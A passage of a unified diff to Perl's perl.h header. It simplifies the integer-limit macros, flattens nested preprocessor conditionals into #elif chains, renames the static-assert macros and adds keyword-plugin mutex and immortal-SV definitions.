 #   define Perl_atof2(s, n) ((n) = atof(s))
 #endif
 
-/* Previously these definitions used hardcoded figures.
- * It is hoped these formula are more portable, although
- * no data one way or another is presently known to me.
- * The "PERL_" names are used because these calculated constants
- * do not meet the ANSI requirements for LONG_MAX, etc., which
- * need to be constants acceptable to #if - kja
- *    define PERL_LONG_MAX        2147483647L
- *    define PERL_LONG_MIN        (-LONG_MAX - 1)
- *    define PERL ULONG_MAX       4294967295L
- */
-
-#ifdef I_LIMITS  /* Needed for cast_xxx() functions below. */
-#  include <limits.h>
-#endif
-/* Included values.h above if necessary; still including limits.h down here,
- * despite doing above, because math.h might have overridden... XXX - Allen */
-
 /*
- * Try to figure out max and min values for the integral types.  THE CORRECT
- * SOLUTION TO THIS MESS: ADAPT enquire.c FROM GCC INTO CONFIGURE.  The
- * following hacks are used if neither limits.h or values.h provide them:
- * U<TYPE>_MAX: for types >= int: ~(unsigned TYPE)0
- *              for types <  int:  (unsigned TYPE)~(unsigned)0
- *	The argument to ~ must be unsigned so that later signed->unsigned
- *	conversion can't modify the value's bit pattern (e.g. -0 -> +0),
- *	and it must not be smaller than int because ~ does integral promotion.
- * <type>_MAX: (<type>) (U<type>_MAX >> 1)
- * <type>_MIN: -<type>_MAX - <is_twos_complement_architecture: (3 & -1) == 3>.
- *	The latter is a hack which happens to work on some machines but
- *	does *not* catch any random system, or things like integer types
- *	with NaN if that is possible.
- *
- * All of the types are explicitly cast to prevent accidental loss of
- * numeric range, and in the hope that they will be less likely to confuse
- * over-eager optimizers.
- *
- */
-
-#define PERL_UCHAR_MIN ((unsigned char)0)
-
-#ifdef UCHAR_MAX
-#  define PERL_UCHAR_MAX ((unsigned char)UCHAR_MAX)
-#else
-#  ifdef MAXUCHAR
-#    define PERL_UCHAR_MAX ((unsigned char)MAXUCHAR)
-#  else
-#    define PERL_UCHAR_MAX       ((unsigned char)~(unsigned)0)
-#  endif
-#endif
-
-/*
  * CHAR_MIN and CHAR_MAX are not included here, as the (char) type may be
  * ambiguous. It may be equivalent to (signed char) or (unsigned char)
  * depending on local options. Until Configure detects this (or at least
@@ -2487,121 +2343,32 @@
  *                                                           - kja
  */
 
+#define PERL_UCHAR_MIN ((unsigned char)0)
+#define PERL_UCHAR_MAX ((unsigned char)UCHAR_MAX)
+
 #define PERL_USHORT_MIN ((unsigned short)0)
+#define PERL_USHORT_MAX ((unsigned short)USHRT_MAX)
 
-#ifdef USHORT_MAX
-#  define PERL_USHORT_MAX ((unsigned short)USHORT_MAX)
-#else
-#  ifdef MAXUSHORT
-#    define PERL_USHORT_MAX ((unsigned short)MAXUSHORT)
-#  else
-#    ifdef USHRT_MAX
-#      define PERL_USHORT_MAX ((unsigned short)USHRT_MAX)
-#    else
-#      define PERL_USHORT_MAX       ((unsigned short)~(unsigned)0)
-#    endif
-#  endif
-#endif
+#define PERL_SHORT_MAX ((short)SHRT_MAX)
+#define PERL_SHORT_MIN ((short)SHRT_MIN)
 
-#ifdef SHORT_MAX
-#  define PERL_SHORT_MAX ((short)SHORT_MAX)
-#else
-#  ifdef MAXSHORT    /* Often used in <values.h> */
-#    define PERL_SHORT_MAX ((short)MAXSHORT)
-#  else
-#    ifdef SHRT_MAX
-#      define PERL_SHORT_MAX ((short)SHRT_MAX)
-#    else
-#      define PERL_SHORT_MAX      ((short) (PERL_USHORT_MAX >> 1))
-#    endif
-#  endif
-#endif
-
-#ifdef SHORT_MIN
-#  define PERL_SHORT_MIN ((short)SHORT_MIN)
-#else
-#  ifdef MINSHORT
-#    define PERL_SHORT_MIN ((short)MINSHORT)
-#  else
-#    ifdef SHRT_MIN
-#      define PERL_SHORT_MIN ((short)SHRT_MIN)
-#    else
-#      define PERL_SHORT_MIN        (-PERL_SHORT_MAX - ((3 & -1) == 3))
-#    endif
-#  endif
-#endif
-
-#ifdef UINT_MAX
-#  define PERL_UINT_MAX ((unsigned int)UINT_MAX)
-#else
-#  ifdef MAXUINT
-#    define PERL_UINT_MAX ((unsigned int)MAXUINT)
-#  else
-#    define PERL_UINT_MAX       (~(unsigned int)0)
-#  endif
-#endif
-
+#define PERL_UINT_MAX ((unsigned int)UINT_MAX)
 #define PERL_UINT_MIN ((unsigned int)0)
 
-#ifdef INT_MAX
-#  define PERL_INT_MAX ((int)INT_MAX)
-#else
-#  ifdef MAXINT    /* Often used in <values.h> */
-#    define PERL_INT_MAX ((int)MAXINT)
-#  else
-#    define PERL_INT_MAX        ((int)(PERL_UINT_MAX >> 1))
-#  endif
-#endif
+#define PERL_INT_MAX ((int)INT_MAX)
+#define PERL_INT_MIN ((int)INT_MIN)
 
-#ifdef INT_MIN
-#  define PERL_INT_MIN ((int)INT_MIN)
-#else
-#  ifdef MININT
-#    define PERL_INT_MIN ((int)MININT)
-#  else
-#    define PERL_INT_MIN        (-PERL_INT_MAX - ((3 & -1) == 3))
-#  endif
-#endif
-
-#ifdef ULONG_MAX
-#  define PERL_ULONG_MAX ((unsigned long)ULONG_MAX)
-#else
-#  ifdef MAXULONG
-#    define PERL_ULONG_MAX ((unsigned long)MAXULONG)
-#  else
-#    define PERL_ULONG_MAX       (~(unsigned long)0)
-#  endif
-#endif
-
+#define PERL_ULONG_MAX ((unsigned long)ULONG_MAX)
 #define PERL_ULONG_MIN ((unsigned long)0L)
 
-#ifdef LONG_MAX
-#  define PERL_LONG_MAX ((long)LONG_MAX)
-#else
-#  ifdef MAXLONG    /* Often used in <values.h> */
-#    define PERL_LONG_MAX ((long)MAXLONG)
-#  else
-#    define PERL_LONG_MAX        ((long) (PERL_ULONG_MAX >> 1))
-#  endif
-#endif
+#define PERL_LONG_MAX ((long)LONG_MAX)
+#define PERL_LONG_MIN ((long)LONG_MIN)
 
-#ifdef LONG_MIN
-#  define PERL_LONG_MIN ((long)LONG_MIN)
-#else
-#  ifdef MINLONG
-#    define PERL_LONG_MIN ((long)MINLONG)
-#  else
-#    define PERL_LONG_MIN        (-PERL_LONG_MAX - ((3 & -1) == 3))
-#  endif
-#endif
-
 #ifdef UV_IS_QUAD
-
 #    define PERL_UQUAD_MAX	(~(UV)0)
 #    define PERL_UQUAD_MIN	((UV)0)
 #    define PERL_QUAD_MAX 	((IV) (PERL_UQUAD_MAX >> 1))
 #    define PERL_QUAD_MIN 	(-PERL_QUAD_MAX - ((3 & -1) == 3))
-
 #endif
 
 typedef MEM_SIZE STRLEN;
@@ -2675,8 +2442,8 @@
 typedef struct padnamelist PADNAMELIST;
 typedef struct padname PADNAME;
 
-/* enable PERL_OP_PARENT by default */
-#if !defined(PERL_OP_PARENT) && !defined(PERL_NO_OP_PARENT)
+/* always enable PERL_OP_PARENT  */
+#if !defined(PERL_OP_PARENT)
 #  define PERL_OP_PARENT
 #endif
 
@@ -2832,61 +2599,29 @@
 #endif
 
 /* NSIG logic from Configure --> */
-/* Strange style to avoid deeply-nested #if/#else/#endif */
 #ifndef NSIG
 #  ifdef _NSIG
 #    define NSIG (_NSIG)
-#  endif
-#endif
-
-#ifndef NSIG
-#  ifdef SIGMAX
+#  elif defined(SIGMAX)
 #    define NSIG (SIGMAX+1)
-#  endif
-#endif
-
-#ifndef NSIG
-#  ifdef SIG_MAX
+#  elif defined(SIG_MAX)
 #    define NSIG (SIG_MAX+1)
-#  endif
-#endif
-
-#ifndef NSIG
-#  ifdef _SIG_MAX
+#  elif defined(_SIG_MAX)
 #    define NSIG (_SIG_MAX+1)
-#  endif
-#endif
-
-#ifndef NSIG
-#  ifdef MAXSIG
+#  elif defined(MAXSIG)
 #    define NSIG (MAXSIG+1)
-#  endif
-#endif
-
-#ifndef NSIG
-#  ifdef MAX_SIG
+#  elif defined(MAX_SIG)
 #    define NSIG (MAX_SIG+1)
-#  endif
-#endif
-
-#ifndef NSIG
-#  ifdef SIGARRAYSIZE
+#  elif defined(SIGARRAYSIZE)
 #    define NSIG SIGARRAYSIZE /* Assume ary[SIGARRAYSIZE] */
-#  endif
-#endif
-
-#ifndef NSIG
-#  ifdef _sys_nsig
+#  elif defined(_sys_nsig)
 #    define NSIG (_sys_nsig) /* Solaris 2.5 */
+#  else
+     /* Default to some arbitrary number that's big enough to get most
+      * of the common signals.  */
+#    define NSIG 50
 #  endif
 #endif
-
-/* Default to some arbitrary number that's big enough to get most
-   of the common signals.
-*/
-#ifndef NSIG
-#    define NSIG 50
-#endif
 /* <-- NSIG logic from Configure */
 
 #ifndef NO_ENVIRON_ARRAY
@@ -2906,15 +2641,12 @@
    and then they have the gall to warn that a value computed is not used. Hence
    cast to void.  */
 #    define PERL_FPU_INIT (void)fpsetmask(0)
+#  elif defined(SIGFPE) && defined(SIG_IGN) && !defined(PERL_MICRO)
+#    define PERL_FPU_INIT       PL_sigfpe_saved = (Sighandler_t) signal(SIGFPE, SIG_IGN)
+#    define PERL_FPU_PRE_EXEC   { Sigsave_t xfpe; rsignal_save(SIGFPE, PL_sigfpe_saved, &xfpe);
+#    define PERL_FPU_POST_EXEC    rsignal_restore(SIGFPE, &xfpe); }
 #  else
-#    if defined(SIGFPE) && defined(SIG_IGN) && !defined(PERL_MICRO)
-#      define PERL_FPU_INIT       PL_sigfpe_saved = (Sighandler_t) signal(SIGFPE, SIG_IGN)
-#      define PERL_FPU_PRE_EXEC   { Sigsave_t xfpe; rsignal_save(SIGFPE, PL_sigfpe_saved, &xfpe);
-#      define PERL_FPU_POST_EXEC    rsignal_restore(SIGFPE, &xfpe); }
-#    else
-#      define PERL_FPU_INIT
-
-#    endif
+#    define PERL_FPU_INIT
 #  endif
 #endif
 #ifndef PERL_FPU_PRE_EXEC
@@ -3169,32 +2901,24 @@
 
 #if defined(USE_ITHREADS)
 #  ifdef NETWARE
-#   include <nw5thread.h>
-#  else
-#    ifdef WIN32
-#      include <win32thread.h>
-#    else
-#      ifdef OS2
-#        include "os2thread.h"
-#      else
-#        ifdef I_MACH_CTHREADS
-#          include <mach/cthreads.h>
+#    include <nw5thread.h>
+#  elif defined(WIN32)
+#    include <win32thread.h>
+#  elif defined(OS2)
+#    include "os2thread.h"
+#  elif defined(I_MACH_CTHREADS)
+#    include <mach/cthreads.h>
 typedef cthread_t	perl_os_thread;
 typedef mutex_t		perl_mutex;
 typedef condition_t	perl_cond;
 typedef void *		perl_key;
-#        else /* Posix threads */
-#          ifdef I_PTHREAD
-#            include <pthread.h>
-#          endif
+#  elif defined(I_PTHREAD) /* Posix threads */
+#    include <pthread.h>
 typedef pthread_t	perl_os_thread;
 typedef pthread_mutex_t PERL_TSA_CAPABILITY("mutex") perl_mutex;
 typedef pthread_cond_t	perl_cond;
 typedef pthread_key_t	perl_key;
-#        endif /* I_MACH_CTHREADS */
-#      endif /* OS2 */
-#    endif /* WIN32 */
-#  endif /* NETWARE */
+#  endif
 #endif /* USE_ITHREADS */
 
 #ifdef PERL_TSA_ACTIVE
@@ -3517,12 +3241,10 @@
 #ifndef PERL_FLUSHALL_FOR_CHILD
 # if defined(USE_PERLIO) || defined(FFLUSH_NULL)
 #  define PERL_FLUSHALL_FOR_CHILD	PerlIO_flush((PerlIO*)NULL)
+# elif defined(FFLUSH_ALL)
+#  define PERL_FLUSHALL_FOR_CHILD	my_fflush_all()
 # else
-#  ifdef FFLUSH_ALL
-#   define PERL_FLUSHALL_FOR_CHILD	my_fflush_all()
-#  else
-#   define PERL_FLUSHALL_FOR_CHILD	NOOP
-#  endif
+#  define PERL_FLUSHALL_FOR_CHILD	NOOP
 # endif
 #endif
 
@@ -3600,10 +3322,8 @@
 #ifdef PERL_CORE
 /* not used; but needed for backward compatibility with XS code? - RMB */
 #  undef UVf
-#else
-#  ifndef UVf
-#    define UVf UVuf
-#  endif
+#elif !defined(UVf)
+#  define UVf UVuf
 #endif
 
 #ifdef HASATTRIBUTE_DEPRECATED
@@ -3657,12 +3377,10 @@
 #  define __attribute__warn_unused_result__
 #endif
 
-#ifdef I_ASSERT
-#  if !defined(DEBUGGING) && !defined(NDEBUG)
-#    define NDEBUG 1
-#  endif
-#  include <assert.h>
+#if !defined(DEBUGGING) && !defined(NDEBUG)
+#  define NDEBUG 1
 #endif
+#include <assert.h>
 
 /* For functions that are marked as __attribute__noreturn__, it's not
    appropriate to call return.  In either case, include the lint directive.
@@ -3691,7 +3409,7 @@
 /* placeholder */
 #endif
 
-/* STATIC_ASSERT_GLOBAL/STATIC_ASSERT_STMT are like assert(), but for compile
+/* STATIC_ASSERT_DECL/STATIC_ASSERT_STMT are like assert(), but for compile
    time invariants. That is, their argument must be a constant expression that
    can be verified by the compiler. This expression can contain anything that's
    known to the compiler, e.g. #define constants, enums, or sizeof (...). If
@@ -3698,7 +3416,7 @@
    the expression evaluates to 0, compilation fails.
    Because they generate no runtime code (i.e.  their use is "free"), they're
    always active, even under non-DEBUGGING builds.
-   STATIC_ASSERT_GLOBAL expands to a declaration and is suitable for use at
+   STATIC_ASSERT_DECL expands to a declaration and is suitable for use at
    file scope (outside of any function).
    STATIC_ASSERT_STMT expands to a statement and is suitable for use inside a
    function.
@@ -3705,10 +3423,10 @@
 */
 #if (defined(static_assert) || (defined(__cplusplus) && __cplusplus >= 201103L)) && (!defined(__IBMC__) || __IBMC__ >= 1210)
 /* static_assert is a macro defined in <assert.h> in C11 or a compiler
-   builtin in C++11.
+   builtin in C++11.  But IBM XL C V11 does not support _Static_assert, no
+   matter what <assert.h> says.
 */
-/* IBM XL C V11 does not support _Static_assert, no matter what <assert.h> says */
-#  define STATIC_ASSERT_GLOBAL(COND) static_assert(COND, #COND)
+#  define STATIC_ASSERT_DECL(COND) static_assert(COND, #COND)
 #else
 /* We use a bit-field instead of an array because gcc accepts
    'typedef char x[n]' where n is not a compile-time constant.
@@ -3719,12 +3437,12 @@
         unsigned int _static_assertion_failed_##SUFFIX : (COND) ? 1 : -1; \
     } _static_assertion_failed_##SUFFIX PERL_UNUSED_DECL
 #  define STATIC_ASSERT_1(COND, SUFFIX) STATIC_ASSERT_2(COND, SUFFIX)
-#  define STATIC_ASSERT_GLOBAL(COND)    STATIC_ASSERT_1(COND, __LINE__)
+#  define STATIC_ASSERT_DECL(COND)    STATIC_ASSERT_1(COND, __LINE__)
 #endif
 /* We need this wrapper even in C11 because 'case X: static_assert(...);' is an
    error (static_assert is a declaration, and only statements can have labels).
 */
-#define STATIC_ASSERT_STMT(COND)      do { STATIC_ASSERT_GLOBAL(COND); } while (0)
+#define STATIC_ASSERT_STMT(COND)      STMT_START { STATIC_ASSERT_DECL(COND); } STMT_END
 
 #ifndef __has_builtin
 #  define __has_builtin(x) 0 /* not a clang style compiler */
@@ -3756,7 +3474,14 @@
 #  define ASSUME(x) assert(x)
 #endif
 
-#define NOT_REACHED ASSUME(0)
+#if defined(__sun)      /* ASSUME() generates warnings on Solaris */
+#  define NOT_REACHED
+#elif defined(DEBUGGING) && (__has_builtin(__builtin_unreachable) \
+     || (__GNUC__ == 4 && __GNUC_MINOR__ >= 5 || __GNUC__ > 4)) /* 4.5 -> */
+#  define NOT_REACHED STMT_START { ASSUME(0); __builtin_unreachable(); } STMT_END
+#else
+#  define NOT_REACHED ASSUME(0)
+#endif
 
 /* Some unistd.h's give a prototype for pause() even though
    HAS_PAUSE ends up undefined.  This causes the #define
@@ -3772,14 +3497,12 @@
 #   ifdef IOCPARM_MASK
 	/* on BSDish systems we're safe */
 #	define IOCPARM_LEN(x)  (((x) >> 16) & IOCPARM_MASK)
+#   elif defined(_IOC_SIZE) && defined(__GLIBC__)
+	/* on Linux systems we're safe; except when we're not [perl #38223] */
+#	define IOCPARM_LEN(x) (_IOC_SIZE(x) < 256 ? 256 : _IOC_SIZE(x))
 #   else
-#	if defined(_IOC_SIZE) && defined(__GLIBC__)
-	/* on Linux systems we're safe; except when we're not [perl #38223] */
-#	    define IOCPARM_LEN(x) (_IOC_SIZE(x) < 256 ? 256 : _IOC_SIZE(x))
-#	else
 	/* otherwise guess at what's safe */
-#	    define IOCPARM_LEN(x)	256
-#	endif
+#	define IOCPARM_LEN(x)	256
 #   endif
 #endif
 
@@ -3887,12 +3610,12 @@
 #endif
 
 /* [perl #22371] Algorimic Complexity Attack on Perl 5.6.1, 5.8.0.
- * Note that the USE_HASH_SEED and USE_HASH_SEED_EXPLICIT are *NOT*
- * defined by Configure, despite their names being similar to the
- * other defines like USE_ITHREADS.  Configure in fact knows nothing
- * about the randomised hashes.  Therefore to enable/disable the hash
- * randomisation defines use the Configure -Accflags=... instead. */
-#if !defined(NO_HASH_SEED) && !defined(USE_HASH_SEED) && !defined(USE_HASH_SEED_EXPLICIT)
+ * Note that the USE_HASH_SEED and similar defines are *NOT* defined by
+ * Configure, despite their names being similar to other defines like
+ * USE_ITHREADS.  Configure in fact knows nothing about the randomised
+ * hashes.  Therefore to enable/disable the hash randomisation defines
+ * use the Configure -Accflags=... instead. */
+#if !defined(NO_HASH_SEED) && !defined(USE_HASH_SEED)
 #  define USE_HASH_SEED
 #endif
 
@@ -4167,7 +3890,7 @@
 #define DEBUG_u_FLAG		0x00000800 /*   2048 */
 /* U is reserved for Unofficial, exploratory hacking */
 #define DEBUG_U_FLAG		0x00001000 /*   4096 */
-#define DEBUG_H_FLAG		0x00002000 /*   8192 */
+/* spare                                        8192 */
 #define DEBUG_X_FLAG		0x00004000 /*  16384 */
 #define DEBUG_D_FLAG		0x00008000 /*  32768 */
 #define DEBUG_S_FLAG		0x00010000 /*  65536 */
@@ -4200,7 +3923,6 @@
 #  define DEBUG_x_TEST_ UNLIKELY(PL_debug & DEBUG_x_FLAG)
 #  define DEBUG_u_TEST_ UNLIKELY(PL_debug & DEBUG_u_FLAG)
 #  define DEBUG_U_TEST_ UNLIKELY(PL_debug & DEBUG_U_FLAG)
-#  define DEBUG_H_TEST_ UNLIKELY(PL_debug & DEBUG_H_FLAG)
 #  define DEBUG_X_TEST_ UNLIKELY(PL_debug & DEBUG_X_FLAG)
 #  define DEBUG_D_TEST_ UNLIKELY(PL_debug & DEBUG_D_FLAG)
 #  define DEBUG_S_TEST_ UNLIKELY(PL_debug & DEBUG_S_FLAG)
@@ -4235,7 +3957,6 @@
 #  define DEBUG_x_TEST DEBUG_x_TEST_
 #  define DEBUG_u_TEST DEBUG_u_TEST_
 #  define DEBUG_U_TEST DEBUG_U_TEST_
-#  define DEBUG_H_TEST DEBUG_H_TEST_
 #  define DEBUG_X_TEST DEBUG_X_TEST_
 #  define DEBUG_D_TEST DEBUG_D_TEST_
 #  define DEBUG_S_TEST DEBUG_S_TEST_
@@ -4296,7 +4017,6 @@
 #  define DEBUG_x(a) DEBUG__(DEBUG_x_TEST, a)
 #  define DEBUG_u(a) DEBUG__(DEBUG_u_TEST, a)
 #  define DEBUG_U(a) DEBUG__(DEBUG_U_TEST, a)
-#  define DEBUG_H(a) DEBUG__(DEBUG_H_TEST, a)
 #  define DEBUG_X(a) DEBUG__(DEBUG_X_TEST, a)
 #  define DEBUG_D(a) DEBUG__(DEBUG_D_TEST, a)
 #  define DEBUG_Xv(a) DEBUG__(DEBUG_Xv_TEST, a)
@@ -4331,7 +4051,6 @@
 #  define DEBUG_x_TEST (0)
 #  define DEBUG_u_TEST (0)
 #  define DEBUG_U_TEST (0)
-#  define DEBUG_H_TEST (0)
 #  define DEBUG_X_TEST (0)
 #  define DEBUG_D_TEST (0)
 #  define DEBUG_S_TEST (0)
@@ -4367,7 +4086,6 @@
 #  define DEBUG_x(a)
 #  define DEBUG_u(a)
 #  define DEBUG_U(a)
-#  define DEBUG_H(a)
 #  define DEBUG_X(a)
 #  define DEBUG_D(a)
 #  define DEBUG_S(a)
@@ -4403,7 +4121,7 @@
 			"\", line %d", STRINGIFY(what), __LINE__),	\
              (void) 0)), ((void)0))
 
-/* assert() gets defined if DEBUGGING (and I_ASSERT).
+/* assert() gets defined if DEBUGGING.
  * If no DEBUGGING, the <assert.h> has not been included. */
 #ifndef assert
 #  define assert(what)	Perl_assert(what)
@@ -4442,48 +4160,10 @@
 #define PERL_MG_UFUNC(name,ix,sv) I32 name(pTHX_ IV ix, SV *sv)
 #endif
 
-/* Fix these up for __STDC__ */
-#ifndef DONT_DECLARE_STD
-char *mktemp (char*);
-#ifndef atof
-double atof (const char*);
-#endif
-#endif
-
-#ifndef STANDARD_C
-/* All of these are in stdlib.h or time.h for ANSI C */
-Time_t time();
-struct tm *gmtime(), *localtime();
-#if defined(OEMVS)
-char *(strchr)(), *(strrchr)();
-char *(strcpy)(), *(strcat)();
-#else
-char *strchr(), *strrchr();
-char *strcpy(), *strcat();
-#endif
-#endif /* ! STANDARD_C */
-
-
-#ifdef I_MATH
-#    include <math.h>
-#    ifdef __VMS
+#include <math.h>
+#ifdef __VMS
      /* isfinite and others are here rather than in math.h as C99 stipulates */
-#        include <fp.h>
-#    endif
-#else
-START_EXTERN_C
-	    double exp (double);
-	    double log (double);
-	    double log10 (double);
-	    double sqrt (double);
-	    double frexp (double,int*);
-	    double ldexp (double,int);
-	    double modf (double,double*);
-	    double sin (double);
-	    double cos (double);
-	    double atan2 (double,double);
-	    double pow (double,double);
-END_EXTERN_C
+#    include <fp.h>
 #endif
 
 #ifndef __cplusplus
@@ -4492,18 +4172,6 @@
 char *crypt (const char*, const char*);
 #endif
 #  endif /* !WIN32 */
-#  ifndef DONT_DECLARE_STD
-#    ifndef getenv
-char *getenv (const char*);
-#    endif /* !getenv */
-#    if !defined(HAS_LSEEK_PROTO) && !defined(__hpux)
-#      ifdef _FILE_OFFSET_BITS
-#        if _FILE_OFFSET_BITS == 64
-Off_t lseek (int,Off_t,int);
-#        endif
-#      endif
-#    endif
-#  endif /* !DONT_DECLARE_STD */
 #  ifndef WIN32
 #    ifndef getlogin
 char *getlogin (void);
@@ -4696,15 +4364,9 @@
 #if defined(__DYNAMIC__) && defined(PERL_DARWIN) && defined(PERL_CORE)
 #  include <crt_externs.h>	/* for the env array */
 #  define environ (*_NSGetEnviron())
-#else
+#elif defined(USE_ENVIRON_ARRAY) && !defined(environ)
    /* VMS and some other platforms don't use the environ array */
-#  ifdef USE_ENVIRON_ARRAY
-#    if !defined(DONT_DECLARE_STD) || \
-        (defined(__svr4__) && defined(__GNUC__) && defined(__sun)) || \
-        defined(__sgi)
-extern char **	environ;	/* environment variables supplied via exec */
-#    endif
-#  endif
+EXTERN_C char **environ;  /* environment variables supplied via exec */
 #endif
 
 #define PERL_PATCHLEVEL_H_IMPLICIT
@@ -4770,6 +4432,8 @@
   INIT("1");
 EXTCONST char PL_No[]
   INIT("");
+EXTCONST char PL_Zero[]
+  INIT("0");
 EXTCONST char PL_hexdigit[]
   INIT("0123456789abcdef0123456789ABCDEF");
 
@@ -4989,7 +4653,7 @@
    || (UNICODE_MAJOR_VERSION == 2 && UNICODE_DOT_VERSION >= 1		\
                                   && UNICODE_DOT_DOT_VERSION >= 8)
 	                                                        255 /*sharp s*/,
-#else   /* uc() is itself in early unicode */
+#else   /* uc(sharp s) is 'sharp s' itself in early unicode */
 	                                                        223,
 #endif
 	224-32,	225-32,	226-32,	227-32,	228-32,	229-32,	230-32,	231-32,
@@ -5340,8 +5004,8 @@
     XREF,
     XSTATE,
     XBLOCK,
-    XATTRBLOCK,
-    XATTRTERM,
+    XATTRBLOCK, /* next token should be an attribute or block */
+    XATTRTERM,  /* next token should be an attribute, or block in a term */
     XTERMBLOCK,
     XBLOCKTERM,
     XPOSTDEREF,
@@ -5407,10 +5071,8 @@
 				 */
 
 /* The following are stored in $^H{sort}, not in PL_hints */
-#define HINT_SORT_SORT_BITS	0x000000FF /* allow 256 different ones */
-#define HINT_SORT_QUICKSORT	0x00000001
-#define HINT_SORT_MERGESORT	0x00000002
-#define HINT_SORT_STABLE	0x00000100 /* sort styles (currently one) */
+#define HINT_SORT_STABLE	0x00000100 /* sort styles */
+#define HINT_SORT_UNSTABLE	0x00000200
 
 /* flags for PL_sawampersand */
 
@@ -5631,6 +5293,10 @@
 START_EXTERN_C
 #  include "intrpvar.h"
 END_EXTERN_C
+#  define PL_sv_yes   (PL_sv_immortals[0])
+#  define PL_sv_undef (PL_sv_immortals[1])
+#  define PL_sv_no    (PL_sv_immortals[2])
+#  define PL_sv_zero  (PL_sv_immortals[3])
 #endif
 
 #ifdef PERL_CORE
@@ -5717,7 +5383,7 @@
 EXTCONST bool
 PL_valid_types_NVX[]    = { 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0 };
 EXTCONST bool
-PL_valid_types_PVX[]    = { 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1 };
+PL_valid_types_PVX[]    = { 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1 };
 EXTCONST bool
 PL_valid_types_RV[]     = { 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1 };
 EXTCONST bool
@@ -5743,13 +5409,8 @@
  * With the U8_NV version you will want to have inner braces,
  * while with the NV_U8 use just the NV. */
 
-#ifdef __cplusplus
-#define INFNAN_U8_NV_DECL EXTERN_C const union { U8 u8[NVSIZE]; NV nv; }
-#define INFNAN_NV_U8_DECL EXTERN_C const union { NV nv; U8 u8[NVSIZE]; }
-#else
 #define INFNAN_U8_NV_DECL EXTCONST union { U8 u8[NVSIZE]; NV nv; }
 #define INFNAN_NV_U8_DECL EXTCONST union { NV nv; U8 u8[NVSIZE]; }
-#endif
 
 /* if these never got defined, they need defaults */
 #ifndef PERL_SET_CONTEXT
@@ -5884,91 +5545,81 @@
 
 #define PERLDB_LINE_OR_SAVESRC (PL_perldb & (PERLDBf_LINE | PERLDBf_SAVESRC))
 
-#ifdef USE_LOCALE
-/* These locale things are all subject to change */
+#ifdef USE_ITHREADS
+#  define KEYWORD_PLUGIN_MUTEX_INIT    MUTEX_INIT(&PL_keyword_plugin_mutex)
+#  define KEYWORD_PLUGIN_MUTEX_LOCK    MUTEX_LOCK(&PL_keyword_plugin_mutex)
+#  define KEYWORD_PLUGIN_MUTEX_UNLOCK  MUTEX_UNLOCK(&PL_keyword_plugin_mutex)
+#  define KEYWORD_PLUGIN_MUTEX_TERM    MUTEX_DESTROY(&PL_keyword_plugin_mutex)
+#else
+#  define KEYWORD_PLUGIN_MUTEX_INIT    NOOP
+#  define KEYWORD_PLUGIN_MUTEX_LOCK    NOOP
+#  define KEYWORD_PLUGIN_MUTEX_UNLOCK  NOOP
+#  define KEYWORD_PLUGIN_MUTEX_TERM    NOOP
+#endif
 
-#   define LOCALE_INIT   MUTEX_INIT(&PL_locale_mutex)
+#ifdef USE_LOCALE /* These locale things are all subject to change */
 
-#   ifdef USE_THREAD_SAFE_LOCALE
-#       define LOCALE_TERM                                                  \
-                    STMT_START {                                            \
-                        MUTEX_DESTROY(&PL_locale_mutex);                    \
-                        if (PL_C_locale_obj) {                              \
-                            /* Make sure we aren't using the locale         \
-                             * space we are about to free */                \
-                            uselocale(LC_GLOBAL_LOCALE);                    \
-                            freelocale(PL_C_locale_obj);                    \
-                            PL_C_locale_obj = (locale_t) NULL;              \
-                        }                                                   \
-                     } STMT_END
-    }
-#   else
-#       define LOCALE_TERM   MUTEX_DESTROY(&PL_locale_mutex)
-#   endif
+   /* Returns TRUE if the plain locale pragma without a parameter is in effect.
+    * */
+#  define IN_LOCALE_RUNTIME	(PL_curcop                                  \
+                              && CopHINTS_get(PL_curcop) & HINT_LOCALE)
 
-#   define LOCALE_LOCK   MUTEX_LOCK(&PL_locale_mutex)
-#   define LOCALE_UNLOCK MUTEX_UNLOCK(&PL_locale_mutex)
+   /* Returns TRUE if either form of the locale pragma is in effect */
+#  define IN_SOME_LOCALE_FORM_RUNTIME                                       \
+        cBOOL(CopHINTS_get(PL_curcop) & (HINT_LOCALE|HINT_LOCALE_PARTIAL))
 
-/* Returns TRUE if the plain locale pragma without a parameter is in effect
- */
-#   define IN_LOCALE_RUNTIME	(PL_curcop \
-                                && CopHINTS_get(PL_curcop) & HINT_LOCALE)
+#  define IN_LOCALE_COMPILETIME	cBOOL(PL_hints & HINT_LOCALE)
+#  define IN_SOME_LOCALE_FORM_COMPILETIME                                   \
+                        cBOOL(PL_hints & (HINT_LOCALE|HINT_LOCALE_PARTIAL))
 
-/* Returns TRUE if either form of the locale pragma is in effect */
-#   define IN_SOME_LOCALE_FORM_RUNTIME   \
-           cBOOL(CopHINTS_get(PL_curcop) & (HINT_LOCALE|HINT_LOCALE_PARTIAL))
+#  define IN_LOCALE                                                         \
+        (IN_PERL_COMPILETIME ? IN_LOCALE_COMPILETIME : IN_LOCALE_RUNTIME)
+#  define IN_SOME_LOCALE_FORM                                               \
+                    (IN_PERL_COMPILETIME ? IN_SOME_LOCALE_FORM_COMPILETIME  \
+                                         : IN_SOME_LOCALE_FORM_RUNTIME)
 
-#   define IN_LOCALE_COMPILETIME	cBOOL(PL_hints & HINT_LOCALE)
-#   define IN_SOME_LOCALE_FORM_COMPILETIME \
-                          cBOOL(PL_hints & (HINT_LOCALE|HINT_LOCALE_PARTIAL))
+#  define IN_LC_ALL_COMPILETIME   IN_LOCALE_COMPILETIME
+#  define IN_LC_ALL_RUNTIME       IN_LOCALE_RUNTIME
 
-#   define IN_LOCALE \
-	(IN_PERL_COMPILETIME ? IN_LOCALE_COMPILETIME : IN_LOCALE_RUNTIME)
-#   define IN_SOME_LOCALE_FORM \
-	(IN_PERL_COMPILETIME ? IN_SOME_LOCALE_FORM_COMPILETIME \
-	                     : IN_SOME_LOCALE_FORM_RUNTIME)
+#  define IN_LC_PARTIAL_COMPILETIME   cBOOL(PL_hints & HINT_LOCALE_PARTIAL)
+#  define IN_LC_PARTIAL_RUNTIME                                             \
+              (PL_curcop && CopHINTS_get(PL_curcop) & HINT_LOCALE_PARTIAL)
 
-#   define IN_LC_ALL_COMPILETIME   IN_LOCALE_COMPILETIME
